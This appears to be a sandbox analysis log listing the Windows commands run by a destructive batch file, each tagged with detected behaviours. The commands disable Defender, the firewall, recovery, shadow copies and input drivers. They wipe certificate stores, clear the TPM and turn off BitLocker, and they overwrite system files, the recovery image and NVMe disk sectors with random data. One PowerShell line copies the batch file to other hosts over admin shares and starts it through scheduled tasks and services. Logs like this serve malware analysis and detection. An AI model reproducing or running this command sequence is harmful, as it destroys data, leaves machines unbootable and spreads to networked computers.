C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Audio" /f2⤵
-
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WaaSMedicSvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\waasmedic.exe" /a2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\waasmedic.exe" /deny Everyone:(X)2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\netsh.exenetsh int ipv4 uninstall2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh int ipv6 uninstall2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh winsock reset catalog2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh int ip reset all2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v DisableDHCPMediaSense /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic nic where "NetEnabled=true" get index /format:value | find "="2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic nic where "NetEnabled=true" get index /format:value3⤵
-
-
C:\Windows\system32\find.exefind "="3⤵
-
-
-
C:\Windows\System32\Wbem\WMIC.exewmic nic where index=Index=1 call disable2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Security Center" /v AntiSpywareOverride /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Security Center" /v AntiVirusOverride /t REG_DWORD /d 1 /f2⤵
- Windows security bypass
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Security Center" /v FirewallOverride /t REG_DWORD /d 1 /f2⤵
- Windows security bypass
-
-
C:\Windows\system32\sc.exesc stop wscsvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config wscsvc start= disabled2⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\config\RegBack" /a2⤵
-
-
C:\Windows\system32\fsutil.exefsutil behavior set disablelastaccess 12⤵
-
-
C:\Windows\system32\reg.exereg save HKLM\SYSTEM "C:\Users\Admin\AppData\Local\Temp\system.hiv"2⤵
- OS Credential Dumping: Security Account Manager
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "[System.IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Local\Temp\system.hiv', (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes(1))"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\CrashControl" /v CrashDumpEnabled /t REG_DWORD /d 0 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\CrashControl" /v LogEvent /t REG_DWORD /d 0 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\CrashControl" /v SendAlert /t REG_DWORD /d 0 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\sc.exesc stop eDrive2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config eDrive start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Storage\DeviceEncryption" /v PreventDeviceEncryption /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\drivers\EhStorClass.sys" /a2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\drivers\EhStorClass.sys" /deny Everyone:(X)2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\sc.exesc stop WbioSrvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WbioSrvc start= disabled2⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Biometrics" /f2⤵
-
-
C:\Windows\system32\sc.exesc stop AppIDSvc2⤵
-
-
C:\Windows\system32\sc.exesc config AppIDSvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2" /f2⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\AppLocker" /f2⤵
-
-
C:\Windows\system32\gpupdate.exegpupdate /force2⤵
-
-
C:\Windows\system32\sc.exesc stop TokenBroker2⤵
-
-
C:\Windows\system32\sc.exesc config TokenBroker start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop wlidsvc2⤵
-
-
C:\Windows\system32\sc.exesc config wlidsvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\IdentityStore" /f2⤵
-
-
C:\Windows\system32\reg.exereg delete "HKCU\SOFTWARE\Microsoft\IdentityStore" /f2⤵
-
-
C:\Windows\system32\sc.exesc stop WudfSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WudfSvc start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc stop WUDFPf2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WUDFPf start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop wudfrd2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config wudfrd start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\WudfSvc" /v Start /t REG_DWORD /d 4 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WUDF" /v ServiceHostProcessId /t REG_DWORD /d 0 /f2⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\drivers\WudfRd.sys" /a2⤵
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\drivers\WudfRd.sys" /deny Everyone:(X)2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\Dism" /r /d y2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Dism" /deny Everyone:(X) /t /c /q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" /f2⤵
-
-
C:\Windows\system32\sc.exesc stop TrustedInstaller2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config TrustedInstaller start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" /v Disabled /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\w32tm.exew32tm /unregister2⤵
-
-
C:\Windows\system32\sc.exesc stop w32time2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config w32time start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc delete w32time2⤵
- Launches sc.exe
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\w32time.dll" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\w32tm.exe" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\w32time.dll" /grant Everyone:F /c /q2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\w32tm.exe" /grant Everyone:F /c /q2⤵
-
-
C:\Windows\system32\klist.exeklist purge2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\usbhub" /v Start /t REG_DWORD /d 4 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\usbehci" /v Start /t REG_DWORD /d 4 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\usbohci" /v Start /t REG_DWORD /d 4 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\usbuhci" /v Start /t REG_DWORD /d 4 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\usbxhci" /v Start /t REG_DWORD /d 4 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\BTHUSB" /v Start /t REG_DWORD /d 4 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v AUOptions /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-ChildItem 'C:\ProgramData\Microsoft\Windows\WER\ReportQueue' -Recurse -ErrorAction SilentlyContinue | Where-Object {:OpenWrite($_.FullName); $b=[byte[]]::new(1024); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close() } catch{} }"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles logging filename C:\Windows\System32\LogFiles\Firewall\pfirewall.log2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles logging maxfilesize 02⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles logging droppedconnections disable2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles logging allowedconnections disable2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\Logging" /v LogFilePath /t REG_EXPAND_SZ /d "" /f2⤵
- Modifies firewall policy service
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\Logging" /v LogFileSize /t REG_DWORD /d 0 /f2⤵
- Modifies firewall policy service
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f2⤵
- Modifies firewall policy service
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f2⤵
- Modifies firewall policy service
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" /v EnableFirewall /t REG_DWORD /d 0 /f2⤵
- Modifies firewall policy service
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -MemberDefinition '[DllImport(\"user32.dll\")]public static extern bool BlockInput(bool fBlockIt);' -Name Input -Namespace System; [System.Input]::BlockInput($true)"2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kkv2brh3\kkv2brh3.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES65D9.tmp" "c:\Users\Admin\AppData\Local\Temp\kkv2brh3\CSC1D55C350FBB343C194DCDEC47321556.TMP"4⤵
-
-
-
-
C:\Windows\system32\sc.exesc stop i8042prt kbdclass mouclass kbdhid mouhid2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete i8042prt kbdclass mouclass kbdhid mouhid2⤵
- Launches sc.exe
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\drivers\i8042prt.sys"2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\drivers\i8042prt.sys" /grant "Admin:F" /c /q2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\drivers\kbdclass.sys"2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\drivers\kbdclass.sys" /grant "Admin:F" /c /q2⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\drivers\mouclass.sys"2⤵
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\drivers\mouclass.sys" /grant "Admin:F" /c /q2⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\drivers\kbdhid.sys"2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\drivers\kbdhid.sys" /grant "Admin:F" /c /q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\drivers\mouhid.sys"2⤵
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\drivers\mouhid.sys" /grant "Admin:F" /c /q2⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\radardt.dll" /a2⤵
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\radarrs.dll" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\radardt.dll" /grant Everyone:F /c /q2⤵
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\radarrs.dll" /grant Everyone:F /c /q2⤵
- Modifies file permissions
-
-
C:\Windows\system32\sc.exesc stop DPS2⤵
-
-
C:\Windows\system32\sc.exesc config DPS start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete DPS2⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\kbdclass" /v Start /t REG_DWORD /d 4 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\mouclass" /v Start /t REG_DWORD /d 4 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\kbdhid" /v Start /t REG_DWORD /d 4 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\mouhid" /v Start /t REG_DWORD /d 4 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityStatusIndicator" /v NoActiveProbe /t REG_DWORD /d 0 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityStatusIndicator" /v DisablePassivePolling /t REG_DWORD /d 0 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Internet" /v EnableActiveProbing /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Internet" /v ActiveDnsProbeContent /t REG_SZ /d "0.0.0.0" /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Internet" /v ActiveDnsProbeHost /t REG_SZ /d "corrupted.microsoft.com" /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Internet" /v ActiveWebProbeHost /t REG_SZ /d "corrupted.msftncsi.com" /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Mouse" /v MouseSensitivity /t REG_SZ /d 1 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Mouse" /v MouseSpeed /t REG_SZ /d 0 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoWinKeys /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d 00000000000000000300000000005BE000005CE000000000 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Accessibility\StickyKeys" /v Flags /t REG_SZ /d 506 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Accessibility\ToggleKeys" /v Flags /t REG_SZ /d 58 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Control Panel\Accessibility\MouseKeys" /v Flags /t REG_SZ /d 506 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$svcs=@('WinDefend','WdNisSvc','Sense','WdFilter','wscsvc','SecurityHealthService','mpssvc','BITS','wuauserv','UsoSvc','WaaSMedicSvc','DiagTrack','WSearch','SysMain','WpnService','defragsvc','Spooler','VSS','Schedule','EventLog','HTTP','WinHttpAutoProxySvc','NlaSvc','Netman','DcomLaunch','PlugPlay','KtmRm','MSDTC','PolicyAgent','WerSvc','UxSms','WudfSvc','TrustedInstaller','FontCache','CryptSvc','sppsvc'); foreach($s in $svcs){ Stop-Service $s -Force -ErrorAction SilentlyContinue; Set-Service $s -StartupType Disabled -ErrorAction SilentlyContinue }; sc.exe failure WinDefend reset=86400 actions=restart/0"2⤵
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\sc.exe"C:\Windows\system32\sc.exe" failure WinDefend reset=86400 actions=restart/03⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\ReAgentc.exereagentc /disable2⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\Recovery\Winre.wim" /a2⤵
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Recovery\Winre.wim" /grant Everyone:F /c /q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "[System.IO.File]::WriteAllBytes('C:\Windows\System32\Recovery\Winre.wim', (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes(65536))"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinRE" /f2⤵
-
-
C:\Windows\system32\certutil.execertutil -f -delstore Root "*"2⤵
-
-
C:\Windows\system32\certutil.execertutil -f -delstore CA "*"2⤵
-
-
C:\Windows\system32\certutil.execertutil -f -delstore My "*"2⤵
-
-
C:\Windows\system32\certutil.execertutil -f -delstore Trust "*"2⤵
-
-
C:\Windows\system32\certutil.execertutil -f -delstore TrustedPublisher "*"2⤵
-
-
C:\Windows\system32\sc.exesc stop CryptSvc2⤵
-
-
C:\Windows\system32\sc.exesc config CryptSvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\SystemCertificates" /f2⤵
- Manipulates Digital Signatures
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\drivers\http.sys" /a2⤵
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\httpapi.dll" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\winhttp.dll" /a2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\drivers\http.sys" /grant Everyone:F /c /q2⤵
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\httpapi.dll" /grant Everyone:F /c /q2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\winhttp.dll" /grant Everyone:F /c /q2⤵
- Modifies file permissions
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$files=@('C:\Windows\System32\drivers\http.sys','C:\Windows\System32\httpapi.dll','C:\Windows\System32\winhttp.dll'); foreach($f in $files){ if(Test-Path $f){ $fs=[System.IO.File]::OpenWrite($f); $b=[byte[]]::new($fs.Length); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close() } }"2⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\sc.exesc stop HTTP2⤵
-
-
C:\Windows\system32\sc.exesc config HTTP start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc delete HTTP2⤵
-
-
C:\Windows\system32\sc.exesc stop WinHttpAutoProxySvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WinHttpAutoProxySvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete WinHttpAutoProxySvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\manage-bde.exemanage-bde -protectors -disable c: -rebootcount 02⤵
-
-
C:\Windows\system32\manage-bde.exemanage-bde -forcerecovery c:2⤵
-
-
C:\Windows\system32\manage-bde.exemanage-bde -off C:2⤵
-
-
C:\Windows\system32\manage-bde.exemanage-bde -off F:2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-Tpm | Disable-TpmAutoProvisioning; Clear-Tpm -AllowClear -Force"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$m='C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260508_c8df07.bat'; $c=Get-Content $m -Raw; $f=Get-Content 'C:\Users\Admin\AppData\Local\Temp\targets.txt' -ErrorAction SilentlyContinue; foreach($i in $f){ $n=$i.Trim(); if($n -and $n -ne $env:COMPUTERNAME){ $s='\\'+$n+'\admin$\System32\Tasks\Microsoft\Windows\systemsecurity.bat'; $r='\\'+$n+'\c$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\systemsecurity.bat'; copy $m $s -Force -ErrorAction SilentlyContinue; copy $m $r -Force -ErrorAction SilentlyContinue; schtasks /create /tn SystemIntegrity /tr 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\systemsecurity.bat' /sc onstart /ru SYSTEM /rl highest /s $n /f 2>&1; schtasks /run /tn SystemIntegrity /s $n 2>&1; reg add '\\$n\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' /v SystemSecurity /t REG_SZ /d 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\systemsecurity.bat' /f 2>&1; sc \\$n create SysSec binPath= ('cmd.exe /c '+$r) start= auto error= ignore 2>&1; sc \\$n start SysSec 2>&1 } }"2⤵
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$disks=Get-PhysicalDisk | Where-Object BusType -eq 'NVMe'; foreach($d in $disks){ try{ $n='\\.\PhysicalDrive'+$d.DeviceId; $f=[System.IO.File]::OpenWrite($n); $b=[byte[]]::new(4096); $b[0]=0; $b[1]=0; $b[2]=0; $b[3]=0; $b[4]=0; $b[5]=0; $b[6]=0; $b[7]=0; $f.Seek(4096,[System.IO.SeekOrigin]::Begin); $f.Write($b,0,$b.Length); $f.Close() } catch{} }"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet2⤵
- Interacts with shadow copies
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\vssvc.exe" /a2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\vssvc.exe" /deny Everyone:(X)2⤵
-
-
C:\Windows\system32\sc.exesc stop VSS2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config VSS start= disabled2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-WmiObject -Class Win32_SystemRestore | ForEach-Object { $_.Disable('') }; Get-WmiObject -Namespace root/default -Class SystemRestore | ForEach-Object { $_.Remove(999) }"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\sc.exesc config srservice start= disabled2⤵
-
-
C:\Windows\system32\sc.exesc stop srservice2⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\VSS\Providers" /f2⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SPP\Clients" /f2⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SPP" /f2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\EventSystem\{26c409cc-ae86-11d1-b616-00805fc79216}" /s /f "VSS" 2>nul | find "HKEY"2⤵
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Microsoft\EventSystem\{26c409cc-ae86-11d1-b616-00805fc79216}" /s /f "VSS"3⤵
-
-
C:\Windows\system32\find.exefind "HKEY"3⤵
-
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EventSystem\{26c409cc-ae86-11d1-b616-00805fc79216}\EventClasses\{FAF53CC4-BD73-4E36-83F1-2B23F46E513E}-{00000000-0000-0000-0000-000000000000}-{00000000-0000-0000-0000-000000000000}" /f2⤵
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\srclient.dll" /a2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\srrstr.dll" /a2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\srclient.dll" /deny Everyone:(X)2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\srrstr.dll" /deny Everyone:(X)2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\ReAgentc.exereagentc /disable2⤵
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {current} recoveryenabled No2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {current} bootstatuspolicy IgnoreAllFailures2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {current} recoveryenabled No2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /deletevalue {current} recoverysequence2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /deletevalue {default} recoverysequence2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {current} bootlog No2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {current} quietboot Yes2⤵
- Modifies boot configuration data using bcdedit
-
-
